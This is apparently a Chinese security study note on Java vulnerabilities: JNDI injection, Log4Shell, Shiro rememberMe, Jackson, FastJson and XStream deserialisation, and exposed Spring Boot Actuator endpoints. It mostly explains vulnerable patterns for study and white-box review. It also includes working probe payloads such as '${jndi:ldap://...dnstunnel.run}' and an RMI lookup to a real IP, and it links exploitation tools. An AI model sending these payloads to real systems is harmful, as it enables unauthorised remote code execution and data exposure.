不得不说Java安全真难啊!!!!

一、JNDI注入

1、JNDI

JNDI 全称是 Java Naming and Directory Interface,中文一般叫 Java 命名和目录接口

它是 Java 提供的一套 API,用来让程序通过“名字”去查找某个资源。

可以先这样理解:

JNDI = Java 里的资源查找机制

比如 Java 程序不直接写死数据库连接、远程对象、消息队列等,而是通过一个名字去查:

Context ctx = new InitialContext();
DataSource ds = (DataSource) ctx.lookup("java:comp/env/jdbc/mysql");

这里的:

ctx.lookup(...)

就是 JNDI 的核心操作。

2、JNDI 能查什么?

JNDI 可以查很多东西,比如:

数据库连接池

java:comp/env/jdbc/mysql

LDAP 目录服务

ldap://example.com/xxx

RMI 远程对象

rmi://example.com/object

DNS 记录

dns://example.com

3、JNDI 的核心思想

普通 Java 代码可能这样连接数据库:

Connection conn = DriverManager.getConnection(url, username, password);

而 JNDI 的思想是:

DataSource ds = (DataSource) ctx.lookup("某个名字");
Connection conn = ds.getConnection();

也就是说,程序不关心资源具体在哪里,只关心资源的名字。

4、为什么 JNDI 会变成安全漏洞?

问题出在这里:

ctx.lookup(userInput);

如果 lookup() 里的内容可以被用户控制,就危险了。

例如程序允许用户传入:

ldap://attacker.com/evil

那么 Java 程序可能会去攻击者控制的 LDAP/RMI 服务上查找对象。

在一些历史版本或错误配置下,JNDI 可能会加载远程恶意类,最终造成:

JNDI 注入 → 远程加载恶意对象 → RCE

也就是远程代码执行。

5、JNDI 常见协议

常见的 JNDI 相关协议有:

协议 作用 安全风险
LDAP 目录服务查询 常用于 JNDI 注入链
RMI Java 远程方法调用 历史上风险较高
DNS 域名查询 常用于探测是否出网
CORBA/IIOP 分布式对象通信 较少见
local JNDI 本地容器资源 相对安全

安全中最常见的是:

ldap://
rmi://
dns://

6、JNDI 注入是什么?

JNDI 注入就是攻击者控制了 JNDI 查询地址,让服务器去访问攻击者指定的目录服务。

典型危险代码:

String name = request.getParameter("name");
Context ctx = new InitialContext();
Object obj = ctx.lookup(name);

如果用户传进来的 name 没有限制,就可能出问题。本质是:

用户输入不可信,但程序把它当成 JNDI 地址去解析。

7、调用检索

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

javax.naming.InitialContext.lookup()

在RMI服务中调用了InitialContext.lookup()的类有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP服务中调用了InitialContext.lookup()的类有:

InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()

8、漏洞检测

无黑盒思路

白盒看类函数名和可控变量

二、Java不安全组件

1、-Log4j

作用:Log4j 是 Java 里的日志框架,用来记录日志,例如:

logger.info("username: " + username);

正常用途是记录:

请求参数
用户行为
异常信息
系统运行状态

Log4j 最著名的问题是 Log4Shell,也就是 JNDI 注入导致 RCE。

危险点在于:老版本 Log4j2 会解析日志内容里的特殊表达式,并可能触发 JNDI lookup。

大概链路是:

攻击者输入恶意字符串
        ↓
服务端把它写入日志
        ↓
Log4j 解析日志内容
        ↓
触发 JNDI lookup
        ↓
访问 LDAP/RMI 等外部服务
        ↓
可能造成 RCE

重点不是“日志框架本身一定危险”,而是:

日志内容里包含用户输入,而 Log4j 又错误地把用户输入当成可执行的表达式解析。

常见危险位置

这些地方经常被写进日志:

User-Agent
X-Forwarded-For
Referer
Cookie
username
email
搜索框参数
接口 JSON 参数
异常堆栈

例如:

logger.info("login user: " + request.getParameter("username"));

如果日志框架会解析特殊表达式,就可能出问题。

public String vul(String content) {
    logger.error(content);
    return "Log4j2 RCE";
}

白盒思路

看引用组件版本及实现

logger.info 
logger.error

找可控变量及访问实现

admin/uploadAdminHeadImage 
originalFileName

测试出网回显调用访问

例:
${jndi:ldap://jebqzwhwtn.dnstunnel.run}
${jndi:rmi://47.94.236.117:1099/l6v1wz}

2、-Shiro

作用Apache Shiro 是 Java 里的安全框架,主要负责:

登录认证
权限控制
Session 管理
RememberMe
加密
角色权限判断

常见代码类似:

Subject subject = SecurityUtils.getSubject();
subject.login(token);

为什么危险?

Shiro 最经典的是 rememberMe 反序列化漏洞

Shiro 的 rememberMe 功能会把用户身份信息序列化、加密后放到 Cookie 里:

rememberMe=加密后的序列化数据

服务端收到 Cookie 后,会:

读取 rememberMe Cookie
        ↓
AES 解密
        ↓
反序列化
        ↓
恢复用户身份

问题在于:

如果攻击者知道 AES 密钥,或者系统使用了默认密钥,就可以构造恶意序列化数据。

典型漏洞链

Shiro rememberMe Cookie 可控
        ↓
使用默认 AES Key 或弱密钥
        ↓
攻击者构造恶意序列化对象
        ↓
服务端解密后反序列化
        ↓
触发 gadget 链
        ↓
RCE

例:

然后在工具中来操作

首先爆破密钥,然后是爆破利用连。显示成功后就可以试一下:

执行成功!!!

3. Jackson

作用:Jackson 是 Java 里最常用的 JSON 序列化/反序列化库之一。常见用途:

ObjectMapper mapper = new ObjectMapper();
User user = mapper.readValue(json, User.class);

它负责:

JSON 转 Java 对象
Java 对象转 JSON
接口参数绑定
配置文件解析

Spring Boot 里默认就经常用 Jackson。

为什么危险?

Jackson 的风险主要来自 多态反序列化

所谓多态反序列化,就是 JSON 里可以指定要反序列化成哪个类。

例如概念上类似:

{
  "@type": "某个Java类",
  "属性": "值"
}

如果开启了危险的类型识别功能,攻击者可能指定某些危险类,让 Jackson 在反序列化过程中触发 getter、setter、构造方法、JNDI lookup 或其他危险逻辑。

enableDefaultTyping()
activateDefaultTyping()
@JsonTypeInfo
Object.class
Serializable
Map<String, Object>

危险点

Jackson 里要重点警惕:

enableDefaultTyping()
activateDefaultTyping()
@JsonTypeInfo
Object.class
Serializable
Map<String, Object>

尤其是这种:

Object obj = mapper.readValue(json, Object.class);

// 或者

mapper.enableDefaultTyping();

这类代码风险更高。

典型漏洞链

接口接收 JSON
        ↓
Jackson 反序列化
        ↓
允许用户指定类型
        ↓
实例化危险类
        ↓
触发 setter/getter/构造方法
        ↓
JNDI / 文件操作 / 反序列化 gadget
        ↓
RCE 或 SSRF

4. FastJson

作用:FastJson 是阿里开源的 JSON 序列化/反序列化库。常见代码:

User user = JSON.parseObject(json, User.class);

// 或者:

Object obj = JSON.parse(json);

为什么危险?

FastJson 最经典的问题是 AutoType 反序列化漏洞

FastJson 支持在 JSON 里通过 @type 指定 Java 类。

概念上类似:

{
  "@type": "com.example.User",
  "name": "test"
}

问题是:

如果攻击者能控制 @type,就可能让 FastJson 加载危险类。

接口接收 JSON
        ↓
FastJson parseObject / parse
        ↓
AutoType 开启或绕过
        ↓
攻击者指定危险类
        ↓
触发 setter/getter/JNDI
        ↓
RCE / SSRF / 出网探测

白盒思路

看引用组件版本及实现

JSON.parse() 
JSON.parseObject()

找可控变量及访问实现

admin/product propertyJson

测试出网回显调用访问

{"@type":"java.net.Inet4Address","val":"atcuqbczqs.dnstunnel.run"}

5. XStream

作用:XStream 是 Java 里的 XML 序列化/反序列化库。它可以把 Java 对象和 XML 相互转换。

例如:

XStream xstream = new XStream();
Object obj = xstream.fromXML(xml);

为什么危险?

XStream 的问题主要是 XML 反序列化漏洞。如果程序接收用户传入的 XML,然后直接:

xstream.fromXML(userInput);

就很危险。

因为 XML 里可能描述了某些 Java 对象结构,XStream 会根据 XML 创建对象并设置属性。

如果创建到了危险类,就可能触发:

命令执行
文件读取
SSRF
JNDI 查询
反射调用

典型漏洞链

用户提交 XML
        ↓
XStream.fromXML()
        ↓
反序列化成 Java 对象
        ↓
实例化危险类 / 调用危险方法
        ↓
触发 gadget
        ↓
RCE

危险写法

Object obj = xstream.fromXML(request.getInputStream());

// 或者

Object obj = xstream.fromXML(xmlString);

6、五个组件

组件 数据格式/场景 主要危险点 核心漏洞类型
Log4j 日志 解析用户输入、JNDI lookup JNDI 注入 / RCE
Shiro 认证权限 rememberMe Cookie 反序列化 Java 反序列化 / RCE
Jackson JSON 多态反序列化、Default Typing JSON 反序列化 / JNDI
FastJson JSON AutoType、@type JSON 反序列化 / JNDI
XStream XML fromXML() 任意对象反序列化 XML 反序列化 / RCE

三、反序列化

序列化是将Java对象转换成字节流的过程。而反序列化是将字节流转换成Java对象的过程java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码的特征为rO0ABJAVA常见的序列化和反序列化的方法有JAVA 原生序列化和JSON 类(fastjson、jackson)序列化等。

-SnakeYaml:完整的YAML1.1规范Processor,支持Java对象的序列化/反序列化
-XMLDecoder:xml语言格式序列化类函数接口
-ObjectInputStream.readObject():任何类如果想要序列化必须实现java.io.Serializable接口

工具项目

1、Yakit

https://yaklang.com/

是个图像化项目,可以直接构建利用链

去靶场试一下:

2、ysoserial

https://github.com/frohoff/ysoserial

下载下来后使用Java启动

可以筛选符合的版本构建利用链

3、SerializedPayloadGenerator

github.com/NotSoSecure/SerializedPayloadGenerator

这个项目是一个服务器端的项目,目前还没有搭建,他可以生成,php、Java、JS、python的

黑白盒发现

黑盒发现(流量捕获)

白盒发现(特征类接口函数)

四、SpringBoot框架漏洞

1、SpringBoot Actuator

Spring Boot 是 Java 里目前最常见的后端开发框架之一。它不是一个全新的框架,而是对 Spring 框架的一层简化封装

Spring Boot Actuator 是 Spring Boot 提供的生产级监控模块。

它本来是给开发和运维用的,用来查看应用状态,比如:

健康状态
运行指标
环境变量
配置信息
日志信息
线程状态
内存 Dump
请求映射
Bean 信息
应用审计信息

引入依赖一般是:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-actuator</artifactId>
</dependency>

引入之后,应用可能会出现一些管理接口,比如:

/actuator
/actuator/health
/actuator/info
/actuator/env
/actuator/beans
/actuator/mappings
/actuator/metrics
/actuator/heapdump
/actuator/threaddump
/actuator/loggers

这些接口本身不是给普通用户访问的,应该只给内部运维系统、监控系统访问。

2. 为什么 Actuator 会存在漏洞?

因为很多人为了方便调试,直接配置:

management.endpoints.web.exposure.include=*

这句话的意思是:

把所有 Actuator Web 端点都暴露出来。

这在开发环境还勉强可以,但如果放到公网环境,就很危险。

危险原因是:Actuator 里面有些端点会暴露非常敏感的信息。

比如:

数据库连接地址
数据库用户名
Redis 密码
JWT 密钥
第三方 AK/SK
云服务密钥
内部接口地址
Spring Bean 信息
Controller 路由
系统环境变量
线程信息
内存快照

所以 Actuator 的核心风险不是“它存在就一定 RCE”,而是:

管理接口暴露 + 敏感端点开放 + 无认证访问。

3、检测清单

https://github.com/LandGrey/SpringBootVulExploit

3、黑白盒漏洞发现

黑盒:(人工识别,BP插件)

https://github.com/API-Security/APIKit

使用BP的插件抓包来看

白盒(pom.xml,引用库)

先查看引用库中是否有actuator模块的引入

<dependency>

    <groupId>org.springframework.boot</groupId>

    <artifactId>spring-boot-starter-actuator</artifactId>

</dependency>

如果有检查设置中的Actuator设置

#Actuator设置全部暴露

management.endpoints.web.exposure.include=*

3、漏洞利用

泄漏安全(配置密码,AK/SK等)

使用工具来进行检测是否存在敏感信息

https://github.com/whwlsfb/JDumpSpider

https://github.com/wyzxxz/heapdump_tool

漏洞安全(利用类,CVE漏洞等)

使用工具来看是否有可以利用的漏洞

https://github.com/AabyssZG/SpringBoot-Scan

https://github.com/LandGrey/SpringBootVulExploit

更多推荐